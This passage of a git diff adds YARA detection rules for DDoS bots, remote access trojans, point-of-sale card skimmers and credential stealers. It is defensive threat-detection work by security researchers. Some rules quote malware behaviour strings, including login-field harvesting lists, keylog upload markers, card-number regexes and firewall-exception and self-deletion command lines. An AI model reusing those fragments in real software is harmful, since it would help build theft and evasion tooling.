+   description = "Identify newer version of drive DDoS malware"
+ strings:
+   $cmd1 = "-get" fullword
+   $cmd2 = "-ip" fullword
+   $cmd3 = "-ip2" fullword
+   $cmd4 = "-post1" fullword
+   $cmd5 = "-post2" fullword
+   $cmd6 = "-udp" fullword
+   $str1 = "login=[1000]&pass=[1000]&password=[50]&log=[50]&passwrd=[50]&user=[50]&username=[50]&vb_login_username=[50]&vb_login_md5password=[50]"
+   $str2 = "-timeout" fullword
+   $str3 = "-thread" fullword
+   $str4 = " Local; ru) Presto/2.10.289 Version/"
+   $str5 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT"
+   $newver1 = "-icmp"
+   $newver2 = "-byte"
+   $newver3 = "-long"
+   $newver4 = "<xmp>"
+ condition:
+   4 of ($cmd*) and all of ($str*) and all of ($newver*)
+}
diff --git a/yara-mikesxrs/arbor/dirtjumper_drive3.yar b/yara-mikesxrs/arbor/dirtjumper_drive3.yar
new file mode 100644
index 0000000..5015300
--- /dev/null
+++ b/yara-mikesxrs/arbor/dirtjumper_drive3.yar
@@ -0,0 +1,26 @@
+rule dirtjumper_drive3
+{
+ meta:
+   author = "Jason Jones"
+   author_email = "jasonjones@arbor.net"
+   date = "2014-03-17"
+   description = "Identify version of Drive DDoS malware using compromised sites"
+  strings:
+    $cmd1 = "-get" fullword
+    $cmd2 = "-ip" fullword
+    $cmd3 = "-ip2" fullword
+    $cmd4 = "-post1" fullword
+    $cmd5 = "-post2" fullword
+    $cmd6 = "-udp" fullword
+    $str1 = "login=[1000]&pass=[1000]&password=[50]&log=[50]&passwrd=[50]&user=[50]&username=[50]&vb_login_username=[50]&vb_login_md5password=[50]"
+    $str2 = "-timeout" fullword
+    $str3 = "-thread" fullword
+    $str4 = " Local; ru) Presto/2.10.289 Version/"
+    $str5 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT"
+    $newver1 = "-icmp"
+    $newver2 = "-byte"
+    $newver3 = "-long"
+    $drive3 = "99=1"
+  condition:
+    4 of ($cmd*) and all of ($str*) and all of ($newver*) and $drive3
+}
diff --git a/yara-mikesxrs/arbor/flusihoc.yar b/yara-mikesxrs/arbor/flusihoc.yar
new file mode 100644
index 0000000..03e9f42
--- /dev/null
+++ b/yara-mikesxrs/arbor/flusihoc.yar
@@ -0,0 +1,38 @@
+rule flusihoc 
+{
+	meta:
+		author = "tnelson@arbor.net"
+    company = "Arbor Networks"
+    reference = "https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/"
+		date = "2017-07-06"
+		description = "Chinese DDoS Bot related to Expleror"
+		filetype = "exe"
+		md50 = "7c04cef7061ecff84f50fbfa4f568611"
+		md51 = "a81d8ed447170b930e89e482781393f6"
+		md52 = "e6454373c877dfddcd5297b0049a58f8"
+	
+	strings:
+		$ddos0 = "GET %s%s%s%s%s%s%s%s%s%s"
+		$ddos1 = "%s|%s|%s|%s|%send"
+		$info0 = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
+		$info1 = "~MHz"
+		$info2 = "%d*%dMHz"
+		$cmd0 = "SYN_Flood"
+		$cmd1 = "UDP_Flood"
+		$cmd2 = "ICMP_Flood"
+		$cmd3 = "TCP_Flood"
+		$cmd4 = "HTTP_Flood"
+		$cmd5 = "DNS_Flood"
+		$cmd6 = "CON_Flood"
+		$cmd7 = "CC_Flood"
+		$cmd8 = "CC_Flood2"
+		$pdb0 = "C:\\Users\\chengzhen\\Desktop\\"
+		$pdb1 = "\\svchost\\Release\\svchost.pdb"
+		$status0 = "null"
+		$status1 = "Idle"
+		$status2 = "Busy"
+		$status3 = "RSDS"
+
+	condition:
+		(uint16(0) == 0x5A4D) and (2 of ($ddos*,$status*)) and (all of ($info*, $cmd*)) and (any of ($pdb*))
+}
diff --git a/yara-mikesxrs/ballastsecurity/alina.yara b/yara-mikesxrs/ballastsecurity/alina.yara
new file mode 100644
index 0000000..c8e11d4
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/alina.yara
@@ -0,0 +1,13 @@
+rule alina {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-08-09"
+        description = "Identify Alina"
+	strings:
+    	$s1 = "Alina v1.0"
+        $s2 = "POST"
+        $s3 = "1[0-2])[0-9]"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/andromeda.yara b/yara-mikesxrs/ballastsecurity/andromeda.yara
new file mode 100644
index 0000000..024120d
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/andromeda.yara
@@ -0,0 +1,13 @@
+rule andromeda
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-03-13"
+        description = "Identify Andromeda"
+    strings:
+        $config = {1c 1c 1d 03 49 47 46}
+        $c1 = "hsk\\ehs\\dihviceh\\serhlsethntrohntcohurrehem\\chsyst"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/athenahttp.yara b/yara-mikesxrs/ballastsecurity/athenahttp.yara
new file mode 100644
index 0000000..d6723cb
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/athenahttp.yara
@@ -0,0 +1,20 @@
+rule AthenaHTTP
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-08-09"
+        description = "Identify Athena HTTP"
+    strings:
+        $s1 = "%s(%s)"
+        $s2 = "type:on_exec"
+        $s3 = "uid:%s"
+        $s4 = "priv:%s"
+        $s5 = "arch:x%s"
+        $s6 = "gend:%s"
+        $s7 = "cores:%i"
+        $s8 = "ver:%s"
+        $s9 = "net:%s"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/backoff.yara b/yara-mikesxrs/ballastsecurity/backoff.yara
new file mode 100644
index 0000000..87b0fea
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/backoff.yara
@@ -0,0 +1,13 @@
+rule backoff {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-08-21"
+        description = "Identify Backoff"
+	strings:
+    	$s1 = "&op=%d&id=%s&ui=%s&wv=%d&gr=%s&bv=%s"
+        $s2 = "%s @ %s"
+        $s3 = "Upload KeyLogs"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/blackshades.yara b/yara-mikesxrs/ballastsecurity/blackshades.yara
new file mode 100644
index 0000000..580d715
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/blackshades.yara
@@ -0,0 +1,13 @@
+rule BlackShadesServer{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-08-16"
+        description = "Identify BlackShadesServer"
+    strings:
+        $str1 = "bss_server"
+        $str2 = "txtChat"
+        $str3 = "UDPFlood"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/blackworm.yara b/yara-mikesxrs/ballastsecurity/blackworm.yara
new file mode 100644
index 0000000..f9c1c2f
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/blackworm.yara
@@ -0,0 +1,21 @@
+rule BlackWorm{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-05-20"
+        description = "Identify BlackWorm"
+    strings:
+        $str1 = "m_ComputerObjectProvider"
+        $str2 = "MyWebServices"
+        $str3 = "get_ExecutablePath"
+        $str4 = "get_WebServices"
+        $str5 = "My.WebServices"
+        $str6 = "My.User"
+        $str7 = "m_UserObjectProvider"
+        $str8 = "DelegateCallback"
+        $str9 = "TargetMethod"
+        $str10 = "000004b0" wide
+        $str11 = "Microsoft Corporation" wide
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/cybergate.yara b/yara-mikesxrs/ballastsecurity/cybergate.yara
new file mode 100644
index 0000000..939a53c
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/cybergate.yara
@@ -0,0 +1,23 @@
+rule CyberGate
+{
+
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/CyberGate"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+		$string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+		$string3 = "EditSvr"
+		$string4 = "TLoader"
+		$string5 = "Stroks"
+		$string6 = "####@####"
+		$res1 = "XX-XX-XX-XX"
+		$res2 = "CG-CG-CG-CG"
+
+	condition:
+		all of ($string*) and any of ($res*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/cythosia.yara b/yara-mikesxrs/ballastsecurity/cythosia.yara
new file mode 100644
index 0000000..9494722
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/cythosia.yara
@@ -0,0 +1,11 @@
+rule Cythosia{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-03-21"
+        description = "Identify Cythosia"
+    strings:
+        $str1 = "HarvesterSocksBot.Properties.Resources" wide
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/darkcomet.yara b/yara-mikesxrs/ballastsecurity/darkcomet.yara
new file mode 100644
index 0000000..b72a87a
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/darkcomet.yara
@@ -0,0 +1,12 @@
+rule DarkComet
+{
+	strings:
+	    $a1 = "#BOT#"
+	    $a2 = "WEBCAMSTOP"
+	    $a3 = "UnActiveOnlineKeyStrokes"
+	    $a4 = "#SendTaskMgr"
+	    $a5 = "#RemoteScreenSize"
+	    $a6 = "ping 127.0.0.1 -n 4 > NUL &&"
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/ballastsecurity/dendroid.yara b/yara-mikesxrs/ballastsecurity/dendroid.yara
new file mode 100644
index 0000000..990197b
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/dendroid.yara
@@ -0,0 +1,17 @@
+rule dendroid
+{
+	meta:
+    	author = "Brian Wallace @botnet_hunter"
+        authoer_email = "bwall@ballastsecurity.net"
+        date = "2014-08-18"
+        description = "Identify Dendroid Rat"
+	strings:
+    	$s1 = "/upload-pictures.php?"
+    	$s2 = "Opened Dialog:"
+    	$s3 = "com/connect/MyService"
+    	$s4 = "android/os/Binder"
+    	$s5 = "android/app/Service"
+   	condition:
+    	all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/dexter.yara b/yara-mikesxrs/ballastsecurity/dexter.yara
new file mode 100644
index 0000000..7ff0757
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/dexter.yara
@@ -0,0 +1,15 @@
+rule dexter_strings
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-09-10"
+        description = "Identify Dexter POSGrabber"
+    strings:
+        $s1 = "UpdateMutex:"
+        $s2 = "response="
+        $s3 = "page="
+        $s4 = "scanin:"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/diamondfox.yara b/yara-mikesxrs/ballastsecurity/diamondfox.yara
new file mode 100644
index 0000000..090c747
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/diamondfox.yara
@@ -0,0 +1,17 @@
+rule diamond_fox
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-08-22"
+        description = "Identify DiamondFox"
+    strings:
+    	$s1 = "UPDATE_B"
+        $s2 = "UNISTALL_B"
+        $s3 = "S_PROTECT"
+        $s4 = "P_WALLET"
+        $s5 = "GR_COMMAND"
+        $s6 = "FTPUPLOAD"
+    condition:
+    	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/easterjackpos.yara b/yara-mikesxrs/ballastsecurity/easterjackpos.yara
new file mode 100644
index 0000000..02844be
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/easterjackpos.yara
@@ -0,0 +1,13 @@
+rule easterjackpos {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-09-02"
+        description = "Identify JackPOS"
+	strings:
+	    $s1 = "updateinterval="
+        $s2 = "cardinterval="
+        $s3 = "{[!17!]}{[!18!]}"
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/ballastsecurity/elise.yara b/yara-mikesxrs/ballastsecurity/elise.yara
new file mode 100644
index 0000000..8c14dd8
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/elise.yara
@@ -0,0 +1,16 @@
+rule elise{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        date = "2015-10-20"
+        description = "Identify Elise"
+    strings:
+        $a1 = "Mozilla/4.0 (compatible; MSIE 8.0)" wide
+        $a2 = "KERNEL32.DLL" wide
+        $a3 = "Content-Length: 0" wide
+        $a4 = "/%x/page_%02d%02d%02d%02d.html" wide
+
+        $a5 = "%s=;expires=Thu, 01-Jan-1970 00:00:01 GMT"
+        $a6 = "000ELISEA380.TMP"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/evora.yara b/yara-mikesxrs/ballastsecurity/evora.yara
new file mode 100644
index 0000000..9067179
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/evora.yara
@@ -0,0 +1,17 @@
+rule evora {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        date = "2015-10-20"
+        description = "Identify Evora"
+    strings:
+        $a1 = "{A872638D-DC2B9B23}"
+        $a2 = "Mozilla/4.0 (compatible; MSIE 8.0)" wide
+        $a3 = "/%x/thread_%02d%02d%02d%02d.html" wide
+        $a4 = "F95F6E38" wide
+
+        $b1 = "{A872638D-DC2B9B23}"
+        $b2 = "{F40150C7-B623-41bc-8693-0445343A3A69}" wide
+        $b3 = "Global\\%d" wide
+    condition:
+        all of ($a*) or all of ($b*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/genome.yara b/yara-mikesxrs/ballastsecurity/genome.yara
new file mode 100644
index 0000000..a029a2d
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/genome.yara
@@ -0,0 +1,13 @@
+rule genome {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-09-07"
+        description = "Identify Genome"
+	strings:
+	    $s1 = "Attempting to create more than one keyboard::Monitor instance"
+        $s2 = "{Right windows}"
+        $s3 = "Access violation - no RTTI data!"
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/ballastsecurity/glassrat.yara b/yara-mikesxrs/ballastsecurity/glassrat.yara
new file mode 100644
index 0000000..0ff9755
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/glassrat.yara
@@ -0,0 +1,11 @@
+rule glassrat
+{
+	strings:
+    	$a = "PostQuitMessage"
+        $b = "pwlfnn10,gzg"
+        $c = "update.dll"
+        $d = "_winver"
+    condition:
+    	all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/herpes.yara b/yara-mikesxrs/ballastsecurity/herpes.yara
new file mode 100644
index 0000000..5a9a633
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/herpes.yara
@@ -0,0 +1,15 @@
+rule herpes_strings
+{
+	meta:
+    	author = "Brian Wallace @botnet_hunter"
+        authoer_email = "bwall@ballastsecurity.net"
+        date = "2014-03-27"
+        description = "Identify Herpes Net"
+	strings:
+    	$queryShort = "userandpc"
+        $queryA = "userandpc=%s&admin=%s&os=%s&id=%s&hwid=%s&ownerid=%s&version=%s"
+        $queryB = "userandpc=%s&admin=%s&os=%s&hwid=%s&ownerid=%s&version=%s"
+   	condition:
+    	2 of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/jackpos.yara b/yara-mikesxrs/ballastsecurity/jackpos.yara
new file mode 100644
index 0000000..8f6968a
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/jackpos.yara
@@ -0,0 +1,16 @@
+rule jackpos {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-09-02"
+        description = "Identify JackPOS"
+	strings:
+	    $s1 = "%02X-%02X-%02X-%02X-%02X-%02X"
+        $s2 = "/post"
+        $s3 = "http://"
+        $s4 = "&t2="
+        $s5 = "&t1="
+        $s6 = "mac="
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/ballastsecurity/maazben.yara b/yara-mikesxrs/ballastsecurity/maazben.yara
new file mode 100644
index 0000000..d295045
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/maazben.yara
@@ -0,0 +1,16 @@
+rule maazben
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-03-13"
+        description = "Identify Maazben"
+    strings:
+        $encrypted1 = {d4 2a 47 00 44 6d 47 00}
+        $encrypted2 = "__CxxFrameHandler"
+        $str1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50728)"
+        $str2 = "%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\Stats"
+        $str3 = "MCIDRV_VER"
+    condition:
+        ($encrypted1 and $encrypted2) or ($str1 and $str2 and $str3)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/madnesspro.yar b/yara-mikesxrs/ballastsecurity/madnesspro.yar
new file mode 100644
index 0000000..00d4b38
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/madnesspro.yar
@@ -0,0 +1,31 @@
+rule madnesspro_strings
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-03-13"
+        description = "Identify Madness Pro"
+    strings:
+        $c = "YXBvS0FMaXBsaXM9"
+        $str5 = "d3Rm" fullword
+        $str6 = "ZXhl" fullword
+        $string0 = "Referer: "
+        $string1 = "regini "
+        $string2 = "GetAtomNameA (atom, s, sizeof(s)) "
+        $string3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion"
+        $string4 = "dmVyPQ"
+        $string5 = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cRXhwbG9yZXJcU2hlbGwgRm9sZGVycw"
+        $string6 = "U1lTVEVNXENvbnRyb2xTZXQwMDJcc2VydmljZXNcU2hhcmVkQWNjZXNzXFBhcmFtZXRlcnNcRmlyZXdhbGxQb2xpY3lcU3RhbmRh"
+        $string7 = "Oio6RW5hYmxlZDo"
+        $string8 = "TW96aWxsYS80LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBubDsgcnY6MS45LjIuMykgR2Vja28vMjAxMDA0MDEgRmly"
+        $string9 = "Q2hlY2tUb2tlbk1lbWJlcnNoaXA"
+        $string10 = "R0g1Sy1HS0w4LUNQUDQtREUyNA"
+        $string11 = "cookie"
+        $string12 = "U1lTVEVNXENvbnRyb2xTZXQwMDNcc2VydmljZXNcU2hhcmVkQWNjZXNzXFBhcmFtZXRlcnNcRmlyZXdhbGxQb2xpY3lcU3RhbmRh"
+        $string13 = "Content-Type: application/x-www-form-urlencoded"
+        $string14 = "Internet Explorer"
+        $string15 = "U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFNoYXJlZEFjY2Vzc1xQYXJhbWV0ZXJzXEZpcmV3YWxsUG9saWN5XFN0"
+        $string16 = "U1lTVEVNXENvbnRyb2xTZXQwMDFcc2VydmljZXNcU2hhcmVkQWNjZXNzXFBhcmFtZXRlcnNcRmlyZXdhbGxQb2xpY3lcU3RhbmRh"
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/ballastsecurity/madnesspro.yara b/yara-mikesxrs/ballastsecurity/madnesspro.yara
new file mode 100644
index 0000000..7e5d624
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/madnesspro.yara
@@ -0,0 +1,31 @@
+rule madnesspro_strings
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-03-13"
+        description = "Identify Madness Pro"
+    strings:
+        $c = "YXBvS0FMaXBsaXM9"
+        $str5 = "d3Rm" fullword
+        $str6 = "ZXhl" fullword
+        $string0 = "Referer: "
+        $string1 = "regini "
+        $string2 = "GetAtomNameA (atom, s, sizeof(s)) "
+        $string3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion"
+        $string4 = "dmVyPQ"
+        $string5 = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cRXhwbG9yZXJcU2hlbGwgRm9sZGVycw"
+        $string6 = "U1lTVEVNXENvbnRyb2xTZXQwMDJcc2VydmljZXNcU2hhcmVkQWNjZXNzXFBhcmFtZXRlcnNcRmlyZXdhbGxQb2xpY3lcU3RhbmRh"
+        $string7 = "Oio6RW5hYmxlZDo"
+        $string8 = "TW96aWxsYS80LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBubDsgcnY6MS45LjIuMykgR2Vja28vMjAxMDA0MDEgRmly"
+        $string9 = "Q2hlY2tUb2tlbk1lbWJlcnNoaXA"
+        $string10 = "R0g1Sy1HS0w4LUNQUDQtREUyNA"
+        $string11 = "cookie"
+        $string12 = "U1lTVEVNXENvbnRyb2xTZXQwMDNcc2VydmljZXNcU2hhcmVkQWNjZXNzXFBhcmFtZXRlcnNcRmlyZXdhbGxQb2xpY3lcU3RhbmRh"
+        $string13 = "Content-Type: application/x-www-form-urlencoded"
+        $string14 = "Internet Explorer"
+        $string15 = "U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFNoYXJlZEFjY2Vzc1xQYXJhbWV0ZXJzXEZpcmV3YWxsUG9saWN5XFN0"
+        $string16 = "U1lTVEVNXENvbnRyb2xTZXQwMDFcc2VydmljZXNcU2hhcmVkQWNjZXNzXFBhcmFtZXRlcnNcRmlyZXdhbGxQb2xpY3lcU3RhbmRh"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/nanocore.yara b/yara-mikesxrs/ballastsecurity/nanocore.yara
new file mode 100644
index 0000000..28aeafa
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/nanocore.yara
@@ -0,0 +1,15 @@
+rule NanoCore
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-03-27"
+        description = "Identify NanoCore"
+    strings:
+        $s1 = "nanocore" nocase
+        $s2 = "clientplugin" nocase
+        $s3 = "projectdata" nocase
+        $s4 = "logclientmessage" nocase
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/ballastsecurity/njrat.yara b/yara-mikesxrs/ballastsecurity/njrat.yara
new file mode 100644
index 0000000..1c6119e
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/njrat.yara
@@ -0,0 +1,19 @@
+rule njrat{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-05-27"
+        description = "Identify njRat"
+    strings:
+        $a1 = "netsh firewall add allowedprogram " wide
+        $a2 = "SEE_MASK_NOZONECHECKS" wide
+
+        $b1 = "[TAP]" wide
+        $b2 = " & exit" wide
+
+        $c1 = "md.exe /k ping 0 & del " wide
+        $c2 = "cmd.exe /c ping 127.0.0.1 & del" wide
+        $c3 = "cmd.exe /c ping" wide
+    condition:
+        1 of ($a*) and 1 of ($b*) and 1 of ($c*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/pbot.yara b/yara-mikesxrs/ballastsecurity/pbot.yara
new file mode 100644
index 0000000..0434df5
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/pbot.yara
@@ -0,0 +1,13 @@
+rule pbot_strings
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-03-13"
+        description = "Identify pBot"
+    strings:
+        $config = "var $config = array"
+        $c = "class pBot"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/poisonivy.yara b/yara-mikesxrs/ballastsecurity/poisonivy.yara
new file mode 100644
index 0000000..7f96bb7
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/poisonivy.yara
@@ -0,0 +1,19 @@
+rule PoisonIvy
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/PoisonIvy"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+    strings:
+    	$stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
+        $string1 = "CONNECT %s:%i HTTP/1.0"
+        $string2 = "ws2_32"
+        $string3 = "cks=u"
+        $string4 = "thj@h"
+        $string5 = "advpack"
+    condition:
+		$stub at 0x1620 and all of ($string*) or (all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/pony.yara b/yara-mikesxrs/ballastsecurity/pony.yara
new file mode 100644
index 0000000..0ef936c
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/pony.yara
@@ -0,0 +1,17 @@
+rule pony {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-08-16"
+        description = "Identify Pony"
+	strings:
+    	$s1 = "{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}"
+    	$s2 = "YUIPWDFILE0YUIPKDFILE0YUICRYPTED0YUI1.0"
+    	$s3 = "POST %s HTTP/1.0"
+    	$s4 = "Accept-Encoding: identity, *;q=0"
+
+    	//$useragent1 = "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)"
+    	//$useragent2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)"
+    condition:
+        $s1 and $s2 and $s3 and $s4
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/projecthook.yara b/yara-mikesxrs/ballastsecurity/projecthook.yara
new file mode 100644
index 0000000..4102937
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/projecthook.yara
@@ -0,0 +1,13 @@
+rule ProjectHook
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-08-09"
+        description = "Identify ProjectHook"
+    strings:
+        $projecthook = "ProjectHook"
+        $delphi = "FastMM Borland Edition (c) 2004 - 2008 Pierre le Riche / Professional Software Development"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/solarbot.yara b/yara-mikesxrs/ballastsecurity/solarbot.yara
new file mode 100644
index 0000000..071a446
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/solarbot.yara
@@ -0,0 +1,11 @@
+rule solarbot{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-03-21"
+        description = "Identify Solar"
+    strings:
+        $str1 = "v=%d.%d&u=%s&c=%s&s=%s&w=%d.%d.%d&b=%d"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/vertexnet.yara b/yara-mikesxrs/ballastsecurity/vertexnet.yara
new file mode 100644
index 0000000..4d8977c
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/vertexnet.yara
@@ -0,0 +1,15 @@
+rule VertexNet
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-03-25"
+        description = "Identify VertexNet"
+    strings:
+        $s1 = "vertexnet" nocase
+        $s2 = "urldl::"
+        $s3 = "%LAPPDATA%"
+        $s4 = "[ERROR] while loading ressource"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ballastsecurity/vskimmer.yara b/yara-mikesxrs/ballastsecurity/vskimmer.yara
new file mode 100644
index 0000000..6931b6e
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/vskimmer.yara
@@ -0,0 +1,13 @@
+rule vskimmer {
+    meta:
+        author = "Brian Wallace @botnet_hunter"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2014-09-02"
+        description = "Identify vSkimmer"
+	strings:
+    	$s1 = "User-Agent: PCICompliant/3.33"
+        $s2 = "[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{10,30}"
+        $s3 = "PCI Compliant SCard"
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/ballastsecurity/xtreme.yara b/yara-mikesxrs/ballastsecurity/xtreme.yara
new file mode 100644
index 0000000..269f61a
--- /dev/null
+++ b/yara-mikesxrs/ballastsecurity/xtreme.yara
@@ -0,0 +1,22 @@
+rule Xtreme
+{
+    meta:
+        author = "Brian Wallace @botnet_hunter (with combination of work from Kevin Breen)"
+        author_email = "bwall@ballastsecurity.net"
+        date = "2015-03-25"
+        description = "Identify XtremeRat"
+    strings:
+        $s1 = "XTREME" wide
+        $s2 = "XTREMEBINDER" wide
+        $s3 = "DVCLAL" wide
+        $s4 = "PACKAGEINFO" wide
+        $s5 = "XTREMEUPDATE" wide
+        
